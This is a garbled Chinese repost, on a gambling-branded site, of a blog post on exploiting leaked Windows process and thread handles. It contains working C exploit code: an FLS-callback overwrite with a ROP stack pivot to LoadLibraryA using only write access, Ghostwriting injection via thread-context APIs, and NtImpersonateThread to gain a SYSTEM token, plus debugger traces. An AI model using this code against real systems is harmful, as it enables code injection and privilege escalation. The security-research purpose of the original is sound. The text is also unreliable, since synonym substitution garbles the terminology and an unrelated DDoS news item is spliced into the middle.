深切理会线程与历程句柄泄漏破绽(下) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

深切理会线程与历程句柄泄漏破绽(下)

申博_新闻事件 申博 50次浏览 已收录 0个评论

PROCESS_VM_*

这涵盖了VM接见权限的三种范例:WRITE/READ/OPERATION。前两个权限应当是不言自明的,第三个权限许可操纵虚拟地点空间自身,比方修正页面庇护(VirtualProtectEx)或分派内存(VirtualAllocEx)。本文不盘算引见这三种权限的排列组合状况,但我以为`PROCESS_VM_WRITE`是必要的前置条件。虽然`PROCESS_VM_OPERATION`可以令长途历程崩溃,不过也会激发其他缺点,同时,它既不是通用的,也不是文雅的要领。`PROCESS_VM_READ`同上。

事实证明,`PROCESS_VM_WRITE`自身就是一个应战,我还没有找到一个通用的处置惩罚方案。乍一看,Hexacorn [12]引见的一套摧毁式注入战略似乎是圆满的:它们只请求长途历程运用窗口、剪贴板注册等。既便云云,这些请求也不一定能取得满足。对我们来讲不幸的是,个中许多都不许可跨会话接见或扩大完整性级别。我们虽然可以对长途历程实行写操纵,但依然须要借助其他要领来掌握实行流程。

除了没法修正页面权限外,我们还没法读取或映照/分派内存。然则,照样许多要领可以从长途历程走漏内存而不直接与它举行交互的。

比方,经由历程`NtQuerySystemInformation`,我们可以罗列长途历程内的一切线程,不管其IL怎样。如许,我们就可以取得一个`SYSTEM_EXTENDED_THREAD_INFORMATION`对象的列表,个中包含TEB的地点等。别的,我们还可以经由历程`NtQueryInformationProcess`猎取长途历程PEB地点,不过,必需具有`PROCESS_QUERY_INFORMATION`权限,这一请求会给我们带来很大的贫苦。为了处置惩罚这个题目,可以将`PROCESS_QUERY_INFORMATION`附加到`PROCESS_VM_WRITE`上。

实际上,我采用的要领有点庞杂,不过,它照样比较牢靠的。假如您已阅读过我之前关于纤程当地存储(FLS)方面的文章[13],就会相识这类要领。假如您还没有读过这篇文章的话,无妨花点时候读一下。

简而言之,我们可以滥用光纤和FLS来掩盖“…在纤程删除、线程退出以及开释FLS索引时”实行的回调函数。历程的主线程会不停设置纤程,因而,老是会有一个回调函数可用于掩盖(msvcrt!_freefls)。这些回调函数一般存储在PEB(FlsCallback)和TEB(FlsData)中的纤程当地存储中。经由历程摧毁FlsCallback,我们就可以在实行纤程操纵时掌握系统的实行流程。

然则,由于只具有对历程的写接见权限,所以这个历程有点费力。比方,由于我们没法分派内存,所以,我们应用一些已知空间来寄存payload。别的,PEB/TEB中的FlsCallback和FlsData变量都是指针,所以,我们也没法读取它们。

实际上,隐蔽payload照样异常轻易做到的。这是由于,我们已可以走漏PEB/TEB地点,所以,我们实际上已取得了两个异常壮大的原语。在查看了这两个构造以后,我发明线程当地存储(TLS)恰好为我们供应了充足的空间来存储ROP Gadget和一个瘦身版的payload。而TLS是嵌入在构造自身当中的,因而,我们可以直接经由历程偏移量找到TEB地点。假如您不熟悉TLS的话,那末我们强烈建议先参阅Skywing撰写的一篇文章[14]。

不过,取得对回调函数的掌握确切有点辣手,这是由于指向`_FLS_CALLBACK_INFO`构造的指针是存储在PEB(FlsCallback)中的,而且该构造是不透明的。由于我们实际上没法读取这个指针,因而,我们没法直接掩盖该指针。

我采用的要领,是在PEB中掩盖FlsCallback指针自身,实质上就是在TLS中建立我们本身捏造的`_FLS_CALLBACK_INFO`构造。这是一个异常简朴的构造,实际上只要一个主要值:回调函数指针。

别的,依据FLS的文章,我们还须要掌握ECX/RCX。如许,我们就可以经由历程跳板来实行我们的ROP payload了。不过,这请求更新`TEB-> FlsData`,然则,由于这是一个指针,所以我们很难做到。但是,就像`FlsCallback`一样,我们可以掩盖这个值并建立本身的数据构造——这倒不是什么难事。TLS缓冲区的规划以下所示: 

//
// 0  ] 00000000 00000000 [STACK PIVOT] 00000000
// 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR]
// 32 ] 41414141 41414141 41414141 41414141
//
```
 
荣幸的是,恰幸亏`kernelbase!SwitchToFiberContext`(或Windows 7上的` kernel32!SwitchToFiber`)中有一个圆满的跳板:
 
 
```
7603c415 8ba1d8000000    mov     esp,dword ptr [ecx+0D8h]
7603c41b c20400          ret     4

综合以上几点,我们终究取得:

eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28
eip=7603c415 esp=0019fd6c ebp=0019fd84 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!SwitchToFiber+0x115:
7603c415 8ba1d8000000    mov     esp,dword ptr [ecx+0D8h]
ds:0023:7ffdee2c=7ffdee30
0:000> p
eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28
eip=7603c41b esp=7ffdee30 ebp=0019fd84 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!SwitchToFiber+0x11b:
7603c41b c20400          ret     4
0:000> dd esp l3
7ffdee30  41414141 41414141 41414141

如今,我们已可以掌握EIP和客栈跳板了。实际上,只需挪用`LoadLibraryA`即可从恣意位置加载磁盘上的DLL。这一招很好用,也很牢靠,以至在历程退出时也会实行并挂起,详细取决于你在DLL中的操纵。下面给出完成一切这些目的的终究代码:

_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtWriteVirtualMemory");
 
LPVOID lpBuf = malloc(13*sizeof(SIZE_T));
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, dwTargetPid);
if (hProcess == NULL)
    return;
 
SIZE_T LoadLibA = (SIZE_T)LoadLibraryA;
SIZE_T RemoteTeb = GetRemoteTeb(hProcess), TlsAddr = 0;
TlsAddr = RemoteTeb + 0xe10;
 
SIZE_T RemotePeb = GetRemotePeb(hProcess);
SIZE_T PivotGadget = 0x7603c415;
SIZE_T StackAddress = (TlsAddr + 28) - 0xd8;
SIZE_T RtlExitThread = (SIZE_T)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");
SIZE_T LoadLibParam = (SIZE_T)TlsAddr + 48;
 
//
// construct our TlsSlots payload:
// 0  ] 00000000 00000000 [STACK PIVOT] 00000000
// 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR]
// 32 ] [LOADLIB ADDR] 41414141 [RET ADDR] [LOADLIB ARG PTR]
// 48 ] 41414141
//
 
memset(lpBuf, 0x0, 16);
*((DWORD*)lpBuf + 2) = PivotGadget;
*((DWORD*)lpBuf+ 4) = 0;
*((DWORD*)lpBuf + 5) = 0;
*((DWORD*)lpBuf + 6) = StackAddress;
 
StackAddress = TlsAddr + 32;
*((DWORD*)lpBuf + 7) = StackAddress;
*((DWORD*)lpBuf + 8) = LoadLibA;
*((DWORD*)lpBuf + 9) = 0x41414141; // junk
*((DWORD*)lpBuf + 10) = RtlExitThread;
*((DWORD*)lpBuf + 11) = (SIZE_T)TlsAddr + 48;
*((DWORD*)lpBuf + 12) = 0x41414141; // DLL name (AAAA.dll)
 
NtWriteVirtualMemory(hProcess, (PVOID)TlsAddr, lpBuf, (13 * sizeof(SIZE_T)), NULL);
 
// update FlsCallback in PEB and FlsData in TEB
StackAddress = TlsAddr + 12;
NtWriteVirtualMemory(hProcess, (LPVOID)(RemoteTeb + 0xfb4), (PVOID)&StackAddress, sizeof(SIZE_T), NULL);
NtWriteVirtualMemory(hProcess, (LPVOID)(RemotePeb + 0x20c), (PVOID)&TlsAddr, sizeof(SIZE_T), NULL);

假如一切正常,在实行回调函数时,你应当看到会从磁盘加载`AAAA.dll`的尝试(只需封闭历程)。须要申明的是,我们之所以在这里运用`NtWriteVirtualMemory`,是由于`WriteProcessMemory`须要用到我们能够不具有的`PROCESS_VM_OPERATION`权限。

这个接见权限的另一种替代品多是“PROCESS_VM_WRITE|PROCESS_VM_READ”。如许的话,我们就可以看到地点空间,但依然没法将内存分派给或映照到长途历程。运用上述战略时,我们可以挣脱`PROCESS_QUERY_INFORMATION`的请求,只需从TEB中读取PEB地点即可。

末了,我们还可以斟酌`PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION`权限。一旦取得了`PROCESS_VM_OPERATION`权限,我们的运动余地就大了,由于如许就可以分派内存并变动页面权限。这使我们可以更轻松地运用上述战略,还可以实行内联和IAT hook。

线程的接见权限

与历程句柄一样,我们这里也可以马上疏忽某些接见权限:

SYNCHRONIZE
THREAD_QUERY_INFORMATION
THREAD_GET_CONTEXT
THREAD_QUERY_LIMITED_INFORMATION
THREAD_SUSPEND_RESUME
THREAD_TERMINATE

以后,将留下以下权限:

THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_IMPERSONATE
THREAD_SET_CONTEXT
THREAD_SET_INFORMATION
THREAD_SET_LIMITED_INFORMATION
THREAD_SET_THREAD_TOKEN

THREAD_ALL_ACCESS

实在,我们可以经由历程这些权限做许多事变,包含以下线程接见权限部份中形貌的一切内容。我个人以为`THREAD_DIRECT_IMPERSONATION`战略是最简朴的。

别的,我们另有另一个挑选,虽然它显得越发神奇,但一样也是可行的。请注意,线程接见权限没法为我们供应VM读/写权限,因而,我们没法对线程实行“写入”操纵,由于这没有多大意义。但是,我们还具有大批的API,它们可以授与我们以下权限:`SetThreadContext` [4]和`GetThreadContext` [5]。约莫十年前,涌现过一种异常“低调”的代码注入手艺,名为Ghostwriting [6]的。依据该手艺发明者的说法,这是一种代码注入战略,而且不须要运用典范的win32 API挪用,如WriteProcessMemory和NtMapViewOfSection,以至无需借助OpenProcess。 

简而言之,该手艺可以经由历程一组特定的汇编代码gadget来应用`SetThreadContext`/`GetThreadContext`函数,从而将payload以dword为单元写入线程客栈。一旦写入这些payload,就会经由历程`NtProtectVirtualMemoryAddress`将其权限标记为RWX,并将代码的掌握流重定向到响应的payload。

为了找到完成写入操纵的gadget,他们会在NTDLL中寻觅以下代码:

MOV [REG1], REG2
RET

然后,他们定位一个`JMP $`,或许跳到这里,它将作为一个自动锁和无穷轮回运转。一旦我们找到了这两个gadget,我们就会挂起该线程。然后,更新RIP,使其指向MOV gadget,并将REG1设置为调解后的RSP,使返回地点变成“JMP $”,并将REG2设置为jump gadget。

void WriteQword(CONTEXT context, HANDLE hThread, size_t WriteWhat, size_t WriteWhere)
{
    SetContextRegister(&context, g_rside, WriteWhat);
    SetContextRegister(&context, g_lside, WriteWhere);
 
    context.Rsp = StackBase;
    context.Rip = MovAddr;
 
    WaitForThreadAutoLock(hThread, &context, JmpAddr);
}

个中,`SetContextRegister`只是将我们的gadget中的REG1和REG2赋给恰当的寄存器。设置好后,我们将设置客栈基地点,并将RIP更新为指向我们的gadget。当第一次实行该操纵时,我们会将`JMP $` gadget写入客栈。

WS-Discovery协议目前正被滥用于大规模DDoS攻击

安全研究人员警告说,WS-Discovery协议目前正被滥用于大规模DDoS攻击。根据实际监测,使用WS-Discovery协议的63万台设备可能被滥用,从而进行毁灭性的DDoS攻击。 早在今年5月份,就有报告说,该协议可能被用于发起DDoS攻击。然而,在最近一个月,多个黑客组织已经开始滥用该协议,并且基于WS-Discovery的DDoS攻击现在已经成为常态了。 WS-Discovery是什么? WS-Discovery是一种多播协议,可以在本地网络上用于发现通过特定协议或接口进行通信的其他附近设备。值得注意的是,该协议使用UDP数

以后,代码就会用所谓的线程自动锁来掌握实行流程:

void WaitForThreadAutoLock(HANDLE Thread, CONTEXT* PThreadContext,HWND ThreadsWindow,DWORD AutoLockTargetEIP)
{
    SetThreadContext(Thread,PThreadContext);
 
    do
    {
        ResumeThread(Thread);
        Sleep(30);
        SuspendThread(Thread);
        GetThreadContext(Thread,PThreadContext);
    }
    while(PThreadContext->Eip!=AutoLockTargetEIP);
}

它实际上只是一个waiter,许可线程在搜检是不是已达到“sink”gadget之前每次运转一点点。

一旦我们的实行掷中跳转,我们就取得了write原语。以后,我们只需让RIP从新指向MOV gadget,更新RSP,并将REG1和REG2设置为我们想要的任何值即可。

我已将该手艺的中心函数移植到了x64平台,以展现其可行性。我只是实行`LoadLibraryA`来加载恣意途径中的恣意DLL,而不是运用它来实行全部payload。相干代码可从Github高低载[11]。

别的,在列入Blackhat 2019大会时,我观看了SafeBreach Labs小组的历程注入演讲。他们宣布了一个支撑x64平台的GhostWriting [10]手艺的代码注入东西,感兴趣的读者无妨试用一下。

THREAD_DIRECT_IMPERSONATION

与`thread_impersonate`的不同之处在于,它许可模仿线程令牌(token),而不仅仅是模仿自身。正如James Forshaw[0][7]所指出的,应用该破绽只是一个运用`ntimpersonatethread `[8]API的题目罢了。运用这个函数,我们可以建立一个完整可控的线程,并能模仿特权线程:

hNewThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpRtl, 0, CREATE_SUSPENDED, &dwTid);
NtImpersonateThread(hNewThread, hThread, &sqos);

如许的话,`hNewThread`将运用SYSTEM令牌来运转,许可我们在特权模仿高低文中实行我们须要的任何操纵。

THREAD_IMPERSONATE

不幸的是,我还没有找到可以应用这个破绽的稳固而通用的要领。由于我们既没法查询长途线程,也没法掌握实在行流程,只能治理其模仿状况。

不过,我们可以应用它来强迫特权线程运用`NtImpersonateThread`挪用来模仿我们,这能够会开释出应用程序中的其他逻辑破绽。比方,假如效劳是在用户高低文(一般具有SYSTEM权限)下建立共享资源(比方文件),则我们可以取得该文件的一切权。假如多个特权线程都是经由历程它来猎取某些信息(比方设置),则能够致使代码实行题目。

THREAD_SET_CONTEXT

取得该权限后,我们不仅可以接见`SetThreadContext`,同时还能运用`QueueUserAPC`。经由历程它,我们可以取得一个带有正告提醒的`CreateRemoteThread`原语。关于由线程处置惩罚的APC,它须要进入可正告状况。当实行一组特定的win32函数时,就会发作这类状况,因而,线程完整有能够一直没法进入可正告状况。

假如我们运用的是一个“不合营”的线程,这时候`SetThreadContext`就派上用场了。应用它,我们可以经由历程`NtTestAlert`函数强迫线程进入可正告状况。固然,由于没法挪用`GetThreadContext`,因而,胜利应用这个破绽后,我们很能够会落空对线程的掌握。

连系`THREAD_GET_CONTEXT`时,我们可以应用这个权限“仿制”相似于上面`THREAD_ALL_ACCESS`部份议论的Ghostwriting代码注入手艺。

THREAD_SET_INFORMATION

须要在线程上设置种种ThreadInformationClass [9]值时,我们可以借助于`NtSetInformationThread`。细致研讨了一切这些值后,我依然没有找到可以直接影响长途线程的要领。个中,有些值虽然很风趣,然则并不罕见(如`ThreadSetTlsArrayAddress`、`ThreadAttachContainer`等),而有些则还没有完成,或许须要`SeDebugPrivilege`等权限。

别的,我们至今还没有找到可以应用它们的要领。

THREAD_SET_LIMITED_INFORMATION

这许可挪用方设置`THREAD_INFORMATION_CLASS`值的子集,即:`ThreadPriority`、`ThreadPriorityBoost`、`ThreadAffinityMask`、`ThreadSelectedCpuSets`和`ThreadNameInformation`。这些都没法让我们靠近可应用的原语。

THREAD_SET_THREAD_TOKEN

与`THREAD_IMPERSONATE `相似,我还没有找到滥用该权限的直接且通用的要领。虽然可以设置线程的令牌或修正一些字段(比方经由历程`SetTokenInformation`),但这并没有给我们带来太大的协助。

小结

我对线程权限看起来云云平铺直叙觉得有点扫兴。事实证明,险些一半的线程权限是没法零丁加以应用的,纵然连系其他权限,依然云云。如上所述,要将走漏的线程句柄转化为可应用的东西,必需具有以下三种权限之一:

THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT

假如缺少这些权限的话,要想胜利应用它们的话,必需对目的具有深切的相识,而且,还要具有相称的创造力。

一样,历程可直接应用的特定权限子集为: 

PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE

除此之外,要想到手,还须要发挥本身的创造力。

本文翻译自:http://hatriot.github.io/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明深切理会线程与历程句柄泄漏破绽(下)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址